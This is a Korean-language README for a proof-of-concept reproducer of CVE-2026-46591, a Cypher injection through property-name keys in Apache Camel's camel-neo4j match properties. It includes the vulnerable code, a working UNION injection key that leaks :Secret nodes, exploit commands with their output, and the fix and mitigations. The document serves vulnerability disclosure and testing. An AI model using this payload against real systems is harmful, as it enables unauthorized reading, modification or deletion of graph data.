
Reproducer for CVE-2026-46591: Apache Camel camel-neo4j Cypher injection via property names in CamelNeo4jMatchProperties, enabling authorization bypass / cross-label data exfiltration (fixed in 4.14.8/4.18.3/4.21.0)
이 프로젝트는 CVE-2026-46591로 추적되는 Apache Camel의 camel-neo4j 컴포넌트의 Cypher 인젝션을 시연합니다. 프로듀서는 CamelNeo4jMatchProperties 맵에서 일치/검색 및 삭제 작업을 위한 Cypher WHERE 절을 생성합니다. CVE-2025-66169는 프로퍼티 값을 쿼리 파라미터($paramN)로 바인딩하여 인젝션을 해결했지만, 프로퍼티 이름(해당 맵의 JSON 키)은 Neo4jProducer.retrieveNodes() 및 deleteNode()에서 쿼리 문자열에 그대로 연결됩니다. 따라서 Cypher 구문을 포함하는 프로퍼티 이름은 실행되는 쿼리의 구조를 변경합니다.
이 PoC는 권한 우회 / 데이터 유출로서의 영향을 보여줍니다: 공격자는 JSON 키에 Cypher를 넣어서 :Person 조회가 (UNION을 통해) 원래 접근해서는 안 되는 :Secret 노드도 반환하도록 재작성됩니다 — 이는 권고문의 '모든 노드 또는 관계를 읽거나 수정하거나 삭제할 수 있음'과 일치합니다.
Advisory: https://camel.apache.org/security/CVE-2026-46591.html
**CVE-2025-66169 (CAMEL-22719)**의 불완전한 수정 후속 조치로, 값은 파라미터화했지만 프로퍼티 이름은 그대로 남겨두었습니다. CVE-2025-27636, CVE-2026-40453 등과 동일한 헤더 인젝션 관련 계열입니다.
// Neo4jProducer.retrieveNodes (영향 받는 버전 4.18.2) — VALUE는 파라미터, NAME은 그대로 연결됨:
for (Map.Entry<String, Object> entry : matchMap.entrySet()) {
if (paramIndex > 0) whereClause.append(" AND ");
String paramName = "param" + paramIndex;
whereClause.append(alias).append(".").append(entry.getKey()) // <-- entry.getKey() (JSON 키) 이스케이프되지 않음
.append(" = $").append(paramName);
queryParams.put(paramName, entry.getValue()); // 값은 안전하게 바인딩됨
paramIndex++;
}
query = String.format("MATCH (%s:%s) WHERE %s RETURN %s", alias, label, whereClause, alias);
무해한 맵 {"name":"alice"}을 사용하면 쿼리는 MATCH (n:Person) WHERE n.name = $param0 RETURN n이 됩니다. 악의적인 키를 사용하면:
key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //
빌드된 쿼리는 다음과 같이 됩니다(템플릿의 후행 // = $param0 RETURN n은 주석 처리됨):
MATCH (n:Person) WHERE n.name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node
따라서 응답에는 호출자의 :Person 노드 와 :Secret 노드가 포함됩니다.
수정 사항(4.14.8 / 4.18.3 / 4.21.0, CAMEL-23528)은 retrieveNodes() 및 deleteNode()에서 엄격한 프로퍼티 이름 검증(^[A-Za-z_][A-Za-z0-9_]*$)을 추가하여, 일치하지 않는 이름은 Neo4jOperationException으로 거부합니다.
from("platform-http:/lookup")
.convertBodyTo(String.class)
.setHeader(Neo4jHeaders.OPERATION, constant(Neo4Operation.RETRIEVE_NODES))
.setHeader(Neo4jHeaders.MATCH_PROPERTIES, body()) // 신뢰할 수 없는 JSON 본문이 match 맵이 됨
.to("neo4j:neo4j?driver=#neo4jDriver&label=Person&alias=n");
"속성으로 사람 조회" API: 클라이언트는 일치 조건을 JSON으로 제공하고, 라우트는 이를 CamelNeo4jMatchProperties로 프로듀서에 전달합니다. 그래프에는 두 개의 :Person 노드와 하나의 :Secret 노드가 있으며, 후자의 value는 사람 조회에서 반환되어서는 안 됩니다.
피해자는 Camel 라우트와 해당 Neo4j 데이터베이스입니다. 공격자는 JSON 키에 Cypher를 넣는 HTTP 클라이언트입니다. 작은 시더(seeder)가 노드를 생성하고 Neo4j 준비 상태에서 시작을 제어합니다.
CVE-2026-46591/
├── pom.xml # camel-platform-http + camel-neo4j 4.18.2
├── Dockerfile
├── docker-compose.yml # neo4j 5.26 + 애플리케이션
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── Neo4jSettings.java # 호스트 / bolt / 자격 증명 / 비밀 플래그
│ ├── Neo4jConfig.java # Neo4j Driver 빈 (#neo4jDriver로 참조)
│ ├── Neo4jSeeder.java # Neo4j 대기 후 :Person + :Secret 노드 생성
│ ├── VictimRoute.java # platform-http:/lookup -> neo4j RETRIEVE_NODES
│ └── ExploitController.java # 공격자: 정상 vs JSON 키 내 Cypher
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build # 첫 시작 시 약 1GB neo4j 이미지 다운로드
# 애플리케이션 로그 "Started Application" 메시지 대기 후:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
=== 1) 정상 조회 body={"name":"alice"} ===
[{name=alice, role=user}]
secret leaked: false
=== 2) 인젝션 조회 (JSON 키 내 Cypher) ===
key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //
[{name=alice, role=user}, {name=root-credentials, value=FLAG{neo4j_cypher_key_injection_CVE_2026_46591}}]
secret leaked: true
>>> Cypher 인젝션 증명 — 프로퍼티 NAME이 쿼리를 재작성하여 :Person 조회가 절대 반환해서는 안 되는 :Secret 노드를 읽음: true
RETRIEVE_NODES 또는 DELETE_NODE 작업을 위해 신뢰할 수 없는 데이터를 CamelNeo4jMatchProperties로 전달하는 모든 라우트. UNION을 통해 다른 레이블을 읽는 것 외에도, 인젝션된 키는 SET/DELETE/DETACH DELETE 절을 추가하여 임의의 노드와 관계를 수정하거나 파괴할 수 있습니다.
4.14.8 / 4.18.3 / 4.21.0(CAMEL-23528)으로 업그레이드하십시오. 수정 이후에는 프로퍼티 이름이 쿼리에 배치되기 전에 ^[A-Za-z_][A-Za-z0-9_]*$에 대해 검증됩니다.
업그레이드할 때까지, 신뢰할 수 없는 입력으로 CamelNeo4jMatchProperties를 채우지 마십시오: Neo4j 프로듀서에 전달하기 전에 프로퍼티 이름을 검증하거나 허용 목록에 추가(예: ^[A-Za-z_][A-Za-z0-9_]*$ 기준)하고, 해당 라우트에 데이터를 공급하는 모든 소비자가 수신 Camel*/camel* 헤더를 필터링하여 일치 헤더가 외부 발신자에 의해 제공되지 않도록 하십시오.
이 재현기는 공개적으로 공개되고 수정된 취약점에 대한 보안 연구 및 승인된 테스트용으로 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.
| 속성 | 값 |
|---|
| 구성 요소 | camel-neo4j |
| 영향 받는 클래스 | org.apache.camel.component.neo4j.Neo4jProducer#retrieveNodes / #deleteNode (프로퍼티 이름이 WHERE 절에 보간됨) |
| CWE | CWE-943 (데이터 쿼리 로직에서 특수 요소의 부적절한 중립화) |
| 영향 | Cypher 인젝션 → 임의의 노드 및 관계 읽기/수정/삭제 |
| 전제 조건 | 라우트가 신뢰할 수 없는 입력을 CamelNeo4jMatchProperties 맵에 매핑(예: 요청 본문)함; 헤더는 Camel 접두사가 있으므로 일반 HTTP 클라이언트가 직접 설정할 수 없음 |
| 영향 받는 버전 | 4.10.0부터 4.14.8 미만, 4.15.0부터 4.18.3 미만, 4.19.0부터 4.21.0 미만 |
| 수정된 버전 | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23528 (PR apache/camel#23258) |
| 크레딧 | Yu Bao (PayPal) |